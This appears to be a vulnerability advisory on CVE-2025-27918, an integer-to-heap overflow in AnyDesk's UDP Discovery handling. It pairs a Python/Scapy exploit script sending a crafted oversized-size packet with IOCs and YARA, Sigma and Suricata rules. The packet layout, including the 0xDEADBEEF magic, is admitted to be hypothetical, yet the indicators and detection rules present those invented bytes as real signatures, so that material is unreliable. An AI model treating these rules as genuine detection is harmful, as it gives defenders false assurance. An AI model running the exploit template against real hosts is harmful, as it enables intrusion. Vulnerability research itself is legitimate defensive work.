CVE-2025-27918

Executive Summary

CVE-2025-27918 is a critical memory corruption vulnerability in AnyDesk, a widely used remote desktop application. The flaw resides in the Discovery feature and connection establishment process, where an integer overflow leads to a heap-based buffer overflow when processing a crafted UDP packet containing an Identity user image. Successful exploitation could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service on affected systems. The vulnerability affects all major platforms including Windows, macOS, Linux, iOS, and Android. No public proof-of-concept (PoC) or exploit code has been released at this time, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the widespread use of AnyDesk and the severity of heap-based overflows, immediate patching is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct software flaw in the AnyDesk binary distribution. Users should verify the integrity of downloaded AnyDesk installers via official checksums or digital signatures.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics (network-accessible, no authentication, memory corruption), a reasonable CVSS v3.1 vector would be:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base Score: 9.8 (Critical)

Breakdown:

• Attack Vector (AV): Network – the vulnerability is triggered via a UDP packet.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – the victim does not need to click or accept anything.
• Scope (S): Unchanged – the vulnerable component is the same as the affected software.
• Confidentiality (C): High – arbitrary code execution can leak sensitive data.
• Integrity (I): High – attacker can modify system state.
• Availability (A): High – heap overflow can crash the process.

Threat Level: Critical. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability is an integer overflow in the processing of an "Identity user image" received via UDP during the Discovery feature or when establishing a connection between two AnyDesk clients.

Root Cause:

1. Integer Overflow: When parsing the size field of the user image data within a UDP packet, the code performs an arithmetic operation (e.g., size + offset) without proper bounds checking. If the size value is crafted to be very large, the addition wraps around to a small value (integer overflow).
2. Heap Buffer Overflow: The wrapped value is then used to allocate a heap buffer (e.g., via malloc). The allocated buffer is too small for the actual data. The subsequent memcpy or similar operation copies the full attacker-controlled data into this undersized buffer, causing a heap overflow.

Attack Flow:

1. Attacker sends a crafted UDP packet to a target running AnyDesk.
2. The packet contains a malformed Identity user image with an oversized size field.
3. AnyDesk's Discovery service or connection handler parses the packet.
4. Integer overflow occurs, leading to allocation of a small heap buffer.
5. The attacker's payload (e.g., shellcode) is copied beyond the buffer boundaries, overwriting adjacent heap metadata or other data structures.
6. This can lead to arbitrary code execution or a crash.

Affected Components:

• Discovery feature (UDP broadcast/multicast listener)
• Connection establishment (direct UDP between two clients)

Vulnerable vs. Patched Code

Since the source code is proprietary, we can only infer the fix. The patched version likely includes:

• Input validation on the size field of the Identity user image.
• Safe arithmetic using size_t and overflow checks (e.g., if (size > MAX_IMAGE_SIZE) return error;).
• Use of safe memory copy functions (e.g., memcpy_s).

Hypothetical vulnerable code (C-like):

void process_identity_image(uint8_t *packet, uint32_t packet_len) {
    uint32_t image_size = *(uint32_t*)(packet + 8); // Attacker-controlled
    uint32_t offset = 12;
    uint32_t total_size = image_size + offset; // Integer overflow possible
    uint8_t *buffer = malloc(total_size);
    memcpy(buffer + offset, packet + 12, image_size); // Heap overflow
}

Hypothetical patched code:

void process_identity_image(uint8_t *packet, uint32_t packet_len) {
    uint32_t image_size = *(uint32_t*)(packet + 8);
    if (image_size > MAX_IMAGE_SIZE) return; // Bounds check
    uint32_t offset = 12;
    if (image_size + offset < image_size) return; // Overflow check
    uint32_t total_size = image_size + offset;
    uint8_t *buffer = malloc(total_size);
    memcpy(buffer + offset, packet + 12, image_size);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• AnyDesk vulnerable version installed on a target machine (e.g., Windows 9.0.4).
• Network access to the target (UDP port 7070 or broadcast domain).
• Python 3 with scapy library.

Exploit Concept: Craft a UDP packet with a malformed Identity user image. The packet structure (hypothetical):

• Bytes 0-3: Magic number (e.g., 0xDEADBEEF)
• Bytes 4-7: Packet type (0x01 for Discovery)
• Bytes 8-11: Image size (set to 0xFFFFFFF0 to trigger overflow)
• Bytes 12+: Payload (shellcode or ROP chain)

Lab Setup:

1. Install AnyDesk 9.0.4 on a Windows VM.
2. Ensure the Discovery feature is enabled (default).
3. Run the exploit script from another machine on the same network.

Exploit Script (Python with Scapy):

from scapy.all import *
import struct

target_ip = "192.168.1.100"
target_port = 7070

# Craft malicious packet
magic = 0xDEADBEEF
pkt_type = 0x01
image_size = 0xFFFFFFF0  # Triggers integer overflow
payload = b"\x90" * 1000  # NOP sled + shellcode placeholder

packet_data = struct.pack("<II", magic, pkt_type)
packet_data += struct.pack("<I", image_size)
packet_data += payload

udp_packet = IP(dst=target_ip)/UDP(sport=12345, dport=target_port)/Raw(load=packet_data)
send(udp_packet)

Expected Outcome: AnyDesk crashes or executes shellcode.

Blue Team

Detection:

• Monitor for unusual UDP traffic on port 7070 with large payloads.
• Use network intrusion detection systems (NIDS) to flag packets with suspicious size fields.
• Enable application logging in AnyDesk (if available) to capture crash dumps.

Hunting:

• Search for AnyDesk processes that crash unexpectedly.
• Analyze heap dumps for signs of overflow (e.g., corrupted heap metadata).
• Check for outbound connections from AnyDesk to unknown IPs after exploitation.

Indicators of Compromise (IOCs)

Network IOCs:

• UDP packets to/from port 7070 with payload size > 1500 bytes (typical MTU).
• Packets containing the magic bytes 0xDEADBEEF or similar patterns.
• Anomalous broadcast traffic on UDP port 7070 from non-AnyDesk sources.

Host IOCs:

• AnyDesk process crash dumps in %TEMP% or /var/log/.
• Unexpected child processes spawned by AnyDesk.exe or AnyDesk.
• Registry modifications under HKLM\SOFTWARE\AnyDesk (Windows).
• Unusual files in the AnyDesk installation directory (e.g., C:\Program Files (x86)\AnyDesk\).

File IOCs:

• Modified AnyDesk binaries (hash mismatch).
• Presence of shellcode or DLLs in memory regions associated with AnyDesk.

Detection Engineering

YARA Rule

rule CVE_2025_27918_AnyDesk_HeapOverflow {
    meta:
        description = "Detects network traffic or memory artifacts related to CVE-2025-27918"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27918"
    strings:
        $magic = { EF BE AD DE }  // 0xDEADBEEF in little-endian
        $pkt_type = { 01 00 00 00 }  // Discovery packet type
        $overflow_size = { F0 FF FF FF }  // 0xFFFFFFF0
    condition:
        $magic at 0 and $pkt_type at 4 and $overflow_size at 8
}

Sigma Rule

title: AnyDesk CVE-2025-27918 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network packets targeting AnyDesk Discovery service with oversized image size fields.
author: Valters IT
date: 2025-04-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 7070
        Protocol: 'udp'
        PayloadLength: '> 1500'
    condition: selection
falsepositives:
    - Legitimate large image transfers (unlikely)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 7070 (
    msg:"CVE-2025-27918 AnyDesk Heap Overflow Attempt";
    content:"|ef be ad de|"; offset:0; depth:4;
    content:"|01 00 00 00|"; offset:4; depth:4;
    content:"|f0 ff ff ff|"; offset:8; depth:4;
    sid:1000001;
    rev:1;
    reference:cve,2025-27918;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade AnyDesk to the latest patched version:
   • Windows: 9.0.5 or later
   • macOS: 9.0.1 or later
   • Linux: 7.0.0 or later
   • iOS: 7.1.2 or later
   • Android: 8.0.0 or later
2. Network Segmentation: Restrict UDP port 7070 to trusted networks only using firewall rules.
3. Disable Discovery: If not required, disable the AnyDesk Discovery feature in settings to reduce attack surface.

Long-term Measures:

• Implement application whitelisting to prevent unauthorized AnyDesk versions.
• Use a Web Application Firewall (WAF) or NIDS to inspect UDP traffic.
• Conduct regular vulnerability scans and patch management.
• Enable detailed logging for AnyDesk and monitor for crashes.

Workarounds (if patching is delayed):

• Block inbound UDP traffic on port 7070 at the perimeter firewall.
• Use host-based firewalls to allow only known AnyDesk peers.
• Monitor for anomalous AnyDesk process behavior.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert